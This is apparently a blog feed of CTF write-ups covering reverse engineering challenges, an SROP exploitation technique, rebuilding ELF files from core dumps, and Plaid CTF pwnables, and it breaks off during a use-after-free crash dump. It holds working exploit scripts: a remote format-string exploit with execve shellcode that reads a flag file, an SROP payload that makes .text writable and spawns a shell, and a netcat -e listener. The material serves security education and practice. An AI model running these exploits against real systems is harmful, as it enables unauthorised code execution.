check_five validates key[11] - key[21]. It futher calls a function 0x08048813 to perform some floating point operations. The return value of the floating point operation is compared to validate the flag. Note that the comparison is done sequentially. So for each valid byte, more code is executed. One can use PIN to count instructions and check if a byte is valid or not.
<pre class="highlight">
.text:080489F9 push offset floating_point
.text:080489FE call call_mprotect
.text:08048A03 add esp, 20h
.text:08048A06 test eax, eax
.text:08048A08 jnz short success ; flag byte passes first check
.text:08048A0A mov eax, 0 ; failure - invalid flag byte
.text:08048A0F jmp short ret
.text:08048A11 ; ---------------------------------------------------------------------------
.text:08048A11
.text:08048A11 success: ; CODE XREF: check_five+5Fj
.text:08048A11 mov eax, [ebp+flag]
.text:08048A14 add eax, 17
.text:08048A17 movzx eax, byte ptr [eax]
.text:08048A1A movsx eax, al
.text:08048A1D and eax, 1
.text:08048A20 test eax, eax
.text:08048A22 jnz short inc ; flag byte [17] passes second check
.text:08048A24 mov eax, 0
.text:08048A29 jmp short ret
.text:08048A2B ; ---------------------------------------------------------------------------
.text:08048A2B
.text:08048A2B inc: ; CODE XREF: check_five+79j
.text:08048A2B add [ebp+counter], 1
.text:08048A2F
.text:08048A2F loop: ; CODE XREF: check_five+25j
.text:08048A2F cmp [ebp+counter], 0Ah
.text:08048A33 jle short loop_body
.text:08048A35 mov eax, 1
.text:08048A3A
.text:08048A3A ret: ; CODE XREF: check_five+66j
.text:08048A3A ; check_five+80j
</pre>
Using these information retrieve other bytes. Make sure to count only instructions from main executable.
<pre class="highlight">
#!/usr/bin/env python
import subprocess
start = "flag{packer"
end = "=-in-th3-4ss}"
for c in range(33, 127):
trial = start + chr(c) + "A"*8 + end
msg = subprocess.check_output(['pin', '-t', 'obj-ia32/count.so', '--' , './re350', trial])
count = msg.strip()[-3:]
print chr(c), count
</pre>
<pre class="highlight">
$ python counter.py
* 774
+ 774
, 774
- 825
. 774
/ 774
0 774
1 774
2 774
</pre>
We choose '-' as valid input. The binary accepts multiple solutions. One may have to manually pick up chars to get a meaningful key. If count is same for all possible chars at a particular index, it could be that all chars are valid. Finally, flag for the challenge is
<pre class="highlight">
$ ./re350 flag{packer-15-4-?41=-in-th3-4ss}
You got the flag: flag{packer-15-4-?41=-in-th3-4ss}
</pre>
I arrived at this solution few minutes after the CTF ended :D
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com1tag:blogger.com,1999:blog-3932878064881956934.post-37911020096086888212015-07-13T02:42:00.002+05:302018-08-11T18:20:17.259+05:30PoliCTF RE200 - REVERSEMEPLZ<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
This is a 32 bit binary which validates a key. Removing the dead codes, this is what the algorithm looks like:
<pre class="highlight">
for (size_t i = 0; i < 0xF; i++) {
if (key[i] < 'a') key[i] = transform(key[1] & 1);
if (key[i] > 'z') key[i] = transform(key[1] & 2);
dec[i] = transform(key[i]);
if (dec[i] != 0xCF && dec[i] > 0xCC) flag = true;
}
if (flag) return 0;
for (size_t i = 1; i < 0xF; i++) {
if (dec[i] - dec[i-1] != diff_array[i]) return 0;
}
return transform(key[0]) == 'b';
</pre>
So the key length is 15 bytes. The first byte of key is transformed to 'b'. The function at 0x08048519 takes single byte as input and gives a single byte output. Considering all ascii small letters as input, one can create transformation table. If that doesn't work, assume key[1] value and build table for ascii printables under transform(0), transform(1) or transform(2)<br /><br />
Below is the solution:
<pre class="highlight">
int8_t flag[16] = {0};
int8_t table[256][1] = {0};
int main(int argc, char **argv)
{
for (size_t c = 97; c <= 122; c++)
table[transform(c)][0] = c;
flag[0] = table['b'][0];
for (size_t i = 0; i < 14; i++)
flag[i+1] = table[table[flag[i]][0] + diff_array[i]][0];
printf("%s\n", flag);
return 0;
}
</pre>
Flag for the challenge is <b>flag{onetwotheflagyo}</b>. Full source is found <a style="color: #0099FF"href="https://bitbucket.org/renorobert/polictf/src/">here</a>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-58989188900790424582015-06-20T00:04:00.000+05:302018-08-11T18:20:38.321+05:30Fun with SROP Exploitation<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
This post is regarding another solution for the same problem mentioned in <a style="color: #0099FF"href="http://v0ids3curity.blogspot.in/2014/12/return-to-vdso-using-elf-auxiliary.html">Return to VDSO using ELF Auxiliary Vectors</a>. So the idea here is to exploit a tiny binary remotely using SigReturn Oriented Programming (SROP) without info leak or bruteforce. Below is the challenge code:
<pre class="highlight">
section .text
global _start
vuln:
sub esp, 8
mov eax, 3 ; sys_read
xor ebx, ebx ; stdin
mov ecx, esp ; buffer
mov edx, 1024 ; size
int 0x80
add esp, 8
ret
_start:
call vuln
xor eax, eax
inc eax ; sys_exit
int 0x80
</pre>
The binary is not a PIE but with ASLR and NX enabled. 12 bytes will overwrite the saved EIP. We will have to make the target binary read 0x77 bytes from the socket so that EAX is set to make sigreturn syscall. Once delivering sigreturn we can load all the registers with user controlled data.<br /><br />
We cannot make a execve syscall directly since /bin/sh string is not available in known address. Also, there is no .bss/.data section to read data into it and pivot the stack for chaining a ROP sequence. Stack needs to be pointed to some controlled address.<br /><br />
<b>Make .text segment RWX using mprotect</b><br /><br />
The idea is to change the permission of text segment by calling mprotect(0x08048000, 0x1000, 7). This makes the .text segment RWX. For delivering this syscall, EIP is pointed to gadget int 0x80 ;add esp, 8; ret. The fake frame for SIGRETURN syscall needs a ESP value, this ESP value will be used when executing 'ret' instruction. But where to point the ESP. <br /><br />
<b>Pivoting stack into ELF header</b><br /><br />
ELF header has the program entry point. We can point ESP right at the address holding the program entry point.
<pre class="highlight">
gdb-peda$ x/8wx 0x8048000
0x8048000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8048010: 0x00030002 0x00000001 0x08048077 0x00000034
</pre>
set ESP to 0x8048010 such that add esp, 8; ret takes the value 0x8048077 into EIP, which means we can replay our program but with stack at a fixed address. When the program executes again from entry point, the code segment itself gets overwritten as data is read into text segment during the read syscall ie read(0, .text segment, 1024). Our shellcode executes when the read syscall returns. Below is the solution:
<pre class="highlight">
#!/usr/bin/env python
import struct
import telnetlib
from Frame import SigreturnFrame
ip = '127.0.0.1'
port = 8888
page_text_segment = 0x08048000
INT_80 = 0x08048071
SYS_MPROTECT = 125
con = telnetlib.Telnet(ip, port)
frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", SYS_MPROTECT)
frame.set_regvalue("ebx", page_text_segment)
frame.set_regvalue("ecx", 0x1000)
frame.set_regvalue("edx", 0x7)
frame.set_regvalue("ebp", page_text_segment)
frame.set_regvalue("eip", INT_80)
frame.set_regvalue("esp", page_text_segment+16) # points into ELF header, setting it up as fake frame
frame.set_regvalue("cs", 0x73)
frame.set_regvalue("ss", 0x7b)
payload = "A" * 8
payload += struct.pack("<I", INT_80) # Overwrite Saved EIP
payload += frame.get_frame()
payload += "A" * (0x77 - len(payload) - 1) # read SIGRETURN number of bytes
con.write(payload + chr(0xa))
# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')
con.write(open('shellcode').read())
con.interact()
</pre>
<pre class="highlight">
renorobert@ubuntu:~/SROP/sploit$ nc.traditional -vvv -e ./vuln_s -l -p 8888
listening on [any] 8888 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 60604
renorobert@ubuntu:~/SROP/sploit$ python sploit.py
uname -a
Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
</pre>
Frame could be found <a style="color: #0099FF"href="https://github.com/eQu1NoX/srop-poc ">here</a>
</div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com1tag:blogger.com,1999:blog-3932878064881956934.post-65805308309260052262015-06-07T00:50:00.000+05:302018-08-11T18:21:12.089+05:30Rebuilding ELF from Coredump<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
Recovering ELF from memory dumps are not new and are well discussed many times in many places. I have used Silvio Cesare's work [ELF EXECUTABLE RECONSTRUCTION FROM A CORE IMAGE] and code here to rebuild many of ELF metadata along with dynamic linking details. Many of these section headers may or may not exists. This is a POC code. Here is the link to source <a style="color: #0099FF"href="https://bitbucket.org/renorobert/core2elf">core2elf</a>
<pre class="highlight">
renorobert@ubuntu:~/corerec$ ./hello
Hello World!
renorobert@ubuntu:~/corerec$ file core
core: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from '/home/renorobert/corerec/hello'
renorobert@ubuntu:~/corerec$ ./core_recover
[*] Program headers of CORE
0x00000000 - 0x00000000
0x08048000 - 0x08049000
0x08049000 - 0x0804a000
0x0804a000 - 0x0804b000
0xf7e09000 - 0xf7e0a000
0xf7e0a000 - 0xf7fb2000
0xf7fb2000 - 0xf7fb4000
0xf7fb4000 - 0xf7fb5000
0xf7fb5000 - 0xf7fb8000
0xf7fd7000 - 0xf7fd9000
0xf7fd9000 - 0xf7fda000
0xf7fda000 - 0xf7fdc000
0xf7fdc000 - 0xf7ffc000
0xf7ffc000 - 0xf7ffd000
0xf7ffd000 - 0xf7ffe000
0xfffdc000 - 0xffffe000
[*] Program headers of ELF
0x08048034 - 0x08048154
0x08048154 - 0x08048167
0x08048000 - 0x080485bc
0x08049f08 - 0x0804a024
0x08049f14 - 0x08049ffc
0x08048168 - 0x080481ac
0x080484e0 - 0x0804850c
0x00000000 - 0x00000000
0x08049f08 - 0x0804a000
[*] Building section headers from program headers
[*] Building section headers from DYNAMIC section
[*] 6 GOT entries found
[*] Patching GOT entries to PLT address
[*] Done
renorobert@ubuntu:~/corerec$ file ./rebuild.elf
./rebuild.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
renorobert@ubuntu:~/corerec$ readelf -a ./rebuild.elf
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2s complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048320
Start of program headers: 52 (bytes into file)
Start of section headers: 4412 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 25
Section header string table index: 1
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .shstrtab STRTAB 00000000 001020 00011c 00 0 0 1
[ 2] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 3] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 A 0 0 4
[ 4] .note NOTE 08048168 000168 000044 00 A 0 0 1
[ 5] .eh_frame_hdr PROGBITS 080484e0 0004e0 00002c 00 A 0 0 4
[ 6] .eh_frame PROGBITS 0804850c 00050c 0000b0 00 A 0 0 4
[ 7] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 4
[ 8] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[ 9] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[10] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[11] .got.plt PROGBITS 0804a000 001000 000018 00 WA 0 0 4
[12] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
[13] .dynstr STRTAB 0804821c 00021c 000049 00 A 0 0 1
[14] .dynsym DYNSYM 080481cc 0001cc 000050 10 A 13 2 4
[15] .init PROGBITS 080482b0 0002b0 000030 00 AX 0 0 4
[16] .plt PROGBITS 080482e0 0002e0 000040 04 AX 0 0 16
[17] .text PROGBITS 08048320 000320 000194 00 AX 0 0 16
[18] .fini PROGBITS 080484b4 0004b4 000000 00 AX 0 0 4
[19] .rel.dyn REL 08048290 000290 000008 08 A 14 0 4
[20] .rel.plt REL 08048298 000298 000018 08 A 14 16 4
[21] .gnu.version VERSYM 08048266 000266 00000a 02 A 14 0 2
[22] .gnu.version_r VERNEED 08048270 000270 000020 00 A 13 1 4
[23] .gnu.hash GNU_HASH 080481ac 0001ac 000020 00 A 14 0 4
[24] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
There are no section groups in this file.
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x005bc 0x005bc R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x00118 0x0011c RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x0004e0 0x080484e0 0x080484e0 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note .eh_frame_hdr .eh_frame .dynstr .dynsym .init .plt .text .fini .rel.dyn .rel.plt .gnu.version .gnu.version_r .gnu.hash
03 .dynamic .bss .init_array .fini_array .jcr .got.plt .data .got
04 .dynamic
05 .note
06 .eh_frame_hdr
07
08 .dynamic .init_array .fini_array .jcr .got
Dynamic section at offset 0xf14 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x80482b0
0x0000000d (FINI) 0x80484b4
0x00000019 (INIT_ARRAY) 0x8049f08
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f0c
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804821c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 74 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0xf7ffd924
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 24 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048298
0x00000011 (REL) 0x8048290
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x8048270
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048266
0x00000000 (NULL) 0x0
Relocation section '.rel.dyn' at offset 0x290 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x298 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 puts
0804a010 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a014 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main
The decoding of unwind sections for machine type Intel 80386 is not currently supported.
Symbol table '.dynsym' contains 5 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
4: 080484cc 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
Histogram for '.gnu.hash' bucket list length (total of 2 buckets):
Length Number % of total Coverage
0 1 ( 50.0%)
1 1 ( 50.0%) 100.0%
Version symbols section '.gnu.version' contains 5 entries:
Addr: 0000000008048266 Offset: 0x000266 Link: 14 (.dynsym)
000: 0 (*local*) 2 (GLIBC_2.0) 0 (*local*) 2 (GLIBC_2.0)
004: 1 (*global*)
Version needs section '.gnu.version_r' contains 1 entries:
Addr: 0x0000000008048270 Offset: 0x000270 Link: 13 (.dynstr)
000000: Version: 1 File: libc.so.6 Cnt: 1
0x0010: Name: GLIBC_2.0 Flags: none Version: 2
Displaying notes found at file offset 0x00000168 with length 0x00000044:
Owner Data size Description
GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag)
OS: Linux, ABI: 2.6.24
GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring)
Build ID: e8ee1fa34adec405fcd55e166c0508d2f941b6f2
renorobert@ubuntu:~/corerec$ ./rebuild.elf
Hello World!
renorobert@ubuntu:~/corerec$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.2 LTS
Release: 14.04
Codename: trusty
renorobert@ubuntu:~/corerec$ uname -a
Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
</pre>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-31727390004235487292015-04-29T00:46:00.000+05:302018-08-11T18:21:55.260+05:30CONFidence DS CTF Teaser 2015 - So Easy - Reverse Engineering<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
We were given a 32 bit ELF which validates the flag. main function reads user input, converts lower case to upper case, upper case to lower case, then compares with string dRGNs{tHISwASsOsIMPLE}. But this is not the flag, there is something else happening. Lets check the .init_array
<pre class="highlight">
gdb-peda$ maintenance info sections
[16] 0x8048d2c->0x8049120 at 0x00000d2c: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
[17] 0x804af04->0x804af0c at 0x00001f04: .init_array ALLOC LOAD DATA HAS_CONTENTS
[18] 0x804af0c->0x804af10 at 0x00001f0c: .fini_array ALLOC LOAD DATA HAS_CONTENTS
[19] 0x804af10->0x804af14 at 0x00001f10: .jcr ALLOC LOAD DATA HAS_CONTENTS
[20] 0x804af14->0x804affc at 0x00001f14: .dynamic ALLOC LOAD DATA HAS_CONTENTS
gdb-peda$ x/4x 0x804af04
0x804af04: 0x080488be 0x08048570 0x08048550 0x00000000
</pre>
0x080488be is priority constructor, which does some operation before main is executed. Below are the operations of the constructor<br /><br />
[*] Overwrite GOT entry of printf with address of function calling strlen<br />
[*] Call calloc(32, 4)<br />
[*] Then registers a series of destructors using ___cxa_atexit<br />
[*] First destructor registered is the key validation routine, followed by a series of destructor to write a single DWORD to the calloc memory<br />
<pre class="highlight">
.text:080488DE mov [ebp+plt_printf], 8048412h
.text:080488E5 mov eax, [ebp+plt_printf]
.text:080488E8 mov eax, [eax]
.text:080488EA mov [ebp+addr_printf], eax
.text:080488ED mov eax, [ebp+addr_printf]
.text:080488F0 mov dword ptr [eax], offset strlen_w ; overwrite with strlen
.text:080488F6 mov dword ptr [esp+4], 4 ; size
.text:080488FE mov dword ptr [esp], 32 ; nmemb
.text:08048905 call _calloc
.text:0804890A mov ds:calloc_address, eax
.text:0804890F mov dword ptr [esp], offset check_key
.text:08048916 call register_destructor
.text:0804891B mov dword ptr [esp], offset a
.text:08048922 call register_destructor
.text:08048927 mov dword ptr [esp], offset b
</pre>
Then the program goes into main, reads and modifies user input as mentioned earlier. Later, __run_exit_handlers executes the destructors in the reverse order. Finally, check_key validates the key.
<pre class="highlight">
gdb-peda$ break *0x000000000804873C
Breakpoint 1 at 0x804873c
gdb-peda$ heap used
Used chunks of memory on heap
-----------------------------
0: 0x0804c008 -> 0x0804c08f 136 bytes uncategorized::136 bytes |64 00 00 00 52 00 00 00 47 00 00 00 4e 00 00 00 73 00 00 00 7b 00 00 00 6e 00 00 00 4f 00 00 00 |d...R...G...N...s...{...n...O...|
</pre>
User supplied flag is is case converted and compared with the bytes found above. So flag for the challenge is <b>DrgnS{NotEvenWarmedUp}</b>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-56523050229403564232015-04-22T22:39:00.000+05:302018-08-11T18:25:26.220+05:30Plaid CTF 2015 - Pwnables - EBP Solution and ProdManager Analysis<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
<pre class="highlight">
.text:08048557 mov eax, ds:stdin@@GLIBC_2_0
.text:0804855C mov [esp+8], eax ; stream
.text:08048560 mov dword ptr [esp+4], 1024 ; n
.text:08048568 mov dword ptr [esp], offset buf ; s
.text:0804856F call _fgets
.text:08048503 mov dword ptr [esp+8], offset buf ; format
.text:0804850B mov dword ptr [esp+4], 1024 ; maxlen
.text:08048513 mov dword ptr [esp], offset response ; s
.text:0804851A call _snprintf
</pre>
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write <br /> <br />
So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.<br /> <br />
But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit
<pre class="highlight">
#!/usr/bin/env python
import sys
import time
import socket
import struct
import telnetlib
ip = '127.0.0.1'
ip = '52.6.64.173'
port = 4545
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
def push(string):
length = len(string)
if (length % 4) != 0:
string = '/' * (4 - (length % 4)) + string
pushop = chr(0x68)
payload = ''
for i in range(0, len(string), 4):
sub = string[i:i+4]
payload = (pushop + sub) + payload
return payload
shellcode = ("\x31\xc0\x50" +
push("/home/problem/flag.txt") +
"\x89\xE7\x50" +
push("/bin/cat") +
"\x89\xe3"+
"\x50\x57" +
"\x53\x89\xE1\x89\xc2\xb0\x0b"+
"\xcd\x80\x31\xc0\x40\xcd\x80")
fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len
fake_eip = fake_ebp + 8
payload = "%." + str(fake_ebp) + "u%4$n"
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip) # controlled eip
payload += shellcode
print "[*] Sending format string payload"
soc.send(payload + chr(0xa))
print "[*] Half close socket to trigger payload"
soc.shutdown(socket.SHUT_WR)
print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f
</pre>
Flag for the challenge is <b>who_needs_stack_control_anyway?</b><br /><br />
<b>ProdManager - Use After free</b><br /><br />
prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.<br /><br />
The binary reads flag file into memory and provides the following options:
<pre class="highlight">
Menu options:
1) Create a new product
2) Remove a product
3) Add a product to the lowest price manager
4) See and remove lowest 3 products in manager
5) Create a profile (Not complete yet)
Input:
</pre>
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using <a style="color: #0099FF"href="http://v0ids3curity.blogspot.in/2015/04/data-structure-recovery-using-pin-and.html">data structure recovery tool</a>
<pre class="highlight">
$ pin -t obj-ia32/structtrace.so -- programs/prodmanager
$ python structgraph.py --filename StructTrace --bss --relink --nullwrite
</pre>
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.<br /> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaeaBsr8NZqtdv6FEfsa42M8SyYoPFD_Nq6MLayZxbie3YyWmzrU19l9UYipJ4Sy7txGvcFWtHHfoPdBRukKf0zYqfBla1k5NKNdmyMjZmVpZdtVBjw7DACiNYekcDKuiCYozXkECgL4mq/s1600/blog.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaeaBsr8NZqtdv6FEfsa42M8SyYoPFD_Nq6MLayZxbie3YyWmzrU19l9UYipJ4Sy7txGvcFWtHHfoPdBRukKf0zYqfBla1k5NKNdmyMjZmVpZdtVBjw7DACiNYekcDKuiCYozXkECgL4mq/s640/blog.png" /></a></div>
<br /> <br />
<pre class="highlight">
struct node
{
int price;
struct node *next;
struct node *prev;
int a;
int b;
int c;
char name[50];
};
</pre>
Creating 3 products and adding it to lowest price manager leaves us with this. <br /> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7wXwscoFcLOBIAjpETgzc-mP_Hck8BKrRfglMOYj26rbJpjyTL-1bbx0XOXElW-KY6c-b_XfD31yEDuo8S7kpeJwfj_jjHlJ4IZm4YWM3ho3vmgCGzxmv_bjj1Y6XQ9aAA6dhsrO67Dyu/s1600/blog2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7wXwscoFcLOBIAjpETgzc-mP_Hck8BKrRfglMOYj26rbJpjyTL-1bbx0XOXElW-KY6c-b_XfD31yEDuo8S7kpeJwfj_jjHlJ4IZm4YWM3ho3vmgCGzxmv_bjj1Y6XQ9aAA6dhsrO67Dyu/s640/blog2.png" /></a></div>
<br /> <br />
We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
<pre class="highlight">
struct node
{
int price;
struct node *next;
struct node *prev;
struct node *a;
struct node *b;
struct node *c;
char name[50];
};
</pre>
<b>The use-after-free vulnerability</b><br /><br />
Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue<br /><br />
[*] Create 3 products<br />
[*] Add 3 the products to lowest manager<br />
[*] Remove a product<br />
[*] See and remove lowest 3 products in manager<br /><br />
Setting MALLOC_PERTURB_=204, this is what we get
<pre class="highlight">
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xcccccccc
EBX: 0xf7fb4000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804d0a8 --> 0xcccccccc
ESI: 0x0
EDI: 0x0
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0
ESP: 0xffffcbd0 --> 0xc0
EIP: 0x804955c (mov edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049553: mov eax,DWORD PTR [ebp+0x8]
0x8049556: mov eax,DWORD PTR [eax+0x4]
0x8049559: mov eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov edx,DWORD PTR [eax+0x14]
</pre>
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.<br /><br />
[*] Create 3 products<br />
[*] Add 3 the products to lowest manager<br />
[*] Remove a product<br />
[*] Create a profile<br />
[*] See and remove lowest 3 products in manager<br /><br />
<pre class="highlight">
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804d0a8 ('A' <repeats 70 times>, "\n")
ESI: 0x0
EDI: 0x0
